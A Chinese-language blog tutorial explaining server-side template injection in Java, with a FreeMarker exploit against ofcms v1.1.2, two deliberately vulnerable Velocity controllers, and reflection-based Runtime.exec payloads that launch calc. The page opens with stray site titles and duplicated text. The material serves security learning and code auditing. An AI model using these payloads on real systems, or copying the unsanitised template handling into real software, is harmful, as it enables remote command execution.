舟山市建设工程质量监督站网站,网站可信查验,广州建设工程领域平台登录,团队主页 网站模板一、模板引擎 在Java开发当中#xff0c;为了将前端和后端进行分离#xff0c;降低项目代码的耦合性#xff0c;使代码更加易于维护和管理。除去以上的原因#xff0c;模板引擎还能实现动态和静态数据的分离。
二、主流模板引擎 在Java中#xff0c;主流的模板引擎有:Fre…一、模板引擎 在Java开发当中为了将前端和后端进行分离降低项目代码的耦合性使代码更加易于维护和管理。除去以上的原因模板引擎还能实现动态和静态数据的分离。
二、主流模板引擎 在Java中主流的模板引擎有:FreemarkThymeleafvelocity等。本文章仅介绍前三种模板引擎。 本文着重介绍是模板注入的原理因此有关模板的语法部分仅提供参考链接 什么是 FreeMarker? - FreeMarker 中文官方参考手册 Thymeleaf The Apache Velocity Project
三、原理 先讲讲原理对于模板注入漏洞其原理并不难就是在用户修改模板或者上传模板文件时没有对模板进行正确的处理在之后调用该模板时直接就把用户传入的模板中的或者是用户本身的传参中的恶意参数当作了代码进行执行。
四、示例 1、Freemark 这里我选择使用的示例是ofcms-v1.1.2的模板注入漏洞运行环境为 JDK:1.8 Tomcat:8.5.97 若需要Java8以及tomcat8可点击链接获取 代码审计环境.zip_免费高速下载|百度网盘-分享无限制 提取码:1234 部署好项目后启动登陆后台进入模板设置下的模板文件功能处 点一下保存抓一下包获取一下路由方便定位代码位置 根据路由定位代码位置位于admin/controller/cms/TemplateController.java内的save方法中 代码解读
通过调用 getPara 方法从请求中获取参数 res_path该参数指示要使用的资源路径。 根据 resPath 的值决定文件存储的路径。如果 resPath 为 res则使用 SystemUtile.getSiteTemplateResourcePath() 返回的路径否则使用 SystemUtile.getSiteTemplatePath() 返回的路径。 从请求中获取 dirs 参数如果该参数不为空则将其作为子目录添加到 pathFile 中。 从请求中获取 file_name 参数表示要保存的文件名。 通过 getRequest().getParameter 获取 file_content 参数表示文件的内容。由于安全原因直接使用 getPara 可能会过滤掉某些HTML元素因此这里直接从请求对象中获取。接着将HTML实体字符 lt; 和 gt; 替换为实际的 和 字符。 创建一个新的 File 对象表示要保存的文件其路径由之前构建的 pathFile 和 fileName 组合而成。 使用 FileUtils.writeString 方法将 fileContent 的内容写入到指定的文件中。这个方法通常来自 Apache Commons IO 库。 解读代码我们可知从头到尾没有进行任何的参数过滤因此我们可以传入payload #assign valuefreemarker.template.utility.Execute?new()${value(calc.exe)} 保存后去触发404页面 成功执行命令 2、velocity 在velocity中模板注入漏洞有两种形式一种是evaluate触发一种是merge触发 一、evaluate触发 示例代码如下
package com.example.velocitydemo;import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import java.io.StringWriter;Controller
public class VelocityEvaluate {GetMapping(/velocityevaluate)public void velocity(String template) {Velocity.init();VelocityContext context new VelocityContext();context.put(author, hada);StringWriter swOut new StringWriter();Velocity.evaluate(context, swOut, test, template);}
}代码解读
Velocity.init();初始化 Velocity 引擎。VelocityContext context new VelocityContext();创建一个 Velocity 上下文对象用于存储模板中的变量。context.put(author, hada);将变量 author 和其值 hada 放入上下文中。StringWriter swOut new StringWriter();创建一个 StringWriter 对象用于捕获模板渲染后的输出。Velocity.evaluate(context, swOut, test, template);评估模板并将结果输出到 swOut 中。test 是日志标签template 是要评估的模板字符串。
我们就可以使用这样的payload去攻击
#set($ee);$e.getClass().forName(java.lang.Runtime).getMethod(getRuntime,nu ll).invoke(null,null).exec(calc)
攻击示例解读 #set($ee) 这里将变量 $e 设置为字符串 e。 $e.getClass().forName(java.lang.Runtime).getMethod(getRuntime, null).invoke(null, null)
$e.getClass() 获取字符串 e 的类对象即 java.lang.String。.forName(java.lang.Runtime) 使用 Class.forName 方法获取 java.lang.Runtime 类的类对象。.getMethod(getRuntime, null) 获取 Runtime 类的 getRuntime 方法。null 表示该方法没有参数。.invoke(null, null) 调用 getRuntime 方法返回当前的 Runtime 实例。null 表示静态方法调用不需要实例对象。 .exec(calc)
.exec(calc) 调用 Runtime 实例的 exec 方法执行 calc.exe 命令打开 Windows 计算器。 二、merge触发 示例代码
package com.example.velocitydemo;import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.text.ParseException;Controller
public class VelocityMerge {RequestMapping(/velocitymerge)ResponseBodypublic String velocity2(RequestParam(defaultValue nth347) String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {String templateString new String(Files.readAllBytes(Paths.get(D:\\template.vm)) );templateString templateString.replace(USERNAME, username);StringReader reader new StringReader(templateString);VelocityContext ctx new VelocityContext(); ctx.put(name, hada);ctx.put(phone, 13312341234);ctx.put(email, 13312341234123.com);StringWriter out new StringWriter();org.apache.velocity.Template template new org.apache.velocity.Template();RuntimeServices runtimeServices RuntimeSingleton.getRuntimeServices();SimpleNode node runtimeServices.parse(reader, String.valueOf(template));template.setRuntimeServices(runtimeServices);template.setData(node);template.initDocument();template.merge(ctx, out);return out.toString();}
}代码解读 String templateString new String(Files.readAllBytes(Paths.get(D:\\template.vm))); 从指定路径读取模板文件内容并将其转换为字符串。 templateString templateString.replace(USERNAME, username); 替换模板中的 USERNAME 占位符为传入的 username 参数。 StringReader reader new StringReader(templateString); 将模板字符串包装成 StringReader以便 Velocity 可以读取。 VelocityContext ctx new VelocityContext(); ctx.put(name, hada); ctx.put(phone, 13312341234); ctx.put(email, 13312341234123.com); 创建一个 VelocityContext 对象并添加一些变量。 StringWriter out new StringWriter(); 捕获输出。 org.apache.velocity.Template template new org.apache.velocity.Template(); RuntimeServices runtimeServices RuntimeSingleton.getRuntimeServices(); SimpleNode node runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices); template.setData(node); template.initDocument(); 使用 RuntimeServices 解析模板并设置相关属性。 template.merge(ctx, out); 合并模板和上下文并将结果输出到 StringWriter 中。 return out.toString(); 返回结果。 根据上述代码我们先假设文件可控在D盘下创建一个template.vm并键入如下payload 访问后即可触发 3、Thymeleaf
模板注入的原理都是相同的所以关于Thymeleaf这里不做赘述可自行下载GitHub上的项目进行测试
veracode-research/spring-view-manipulation: When MVC magic turns black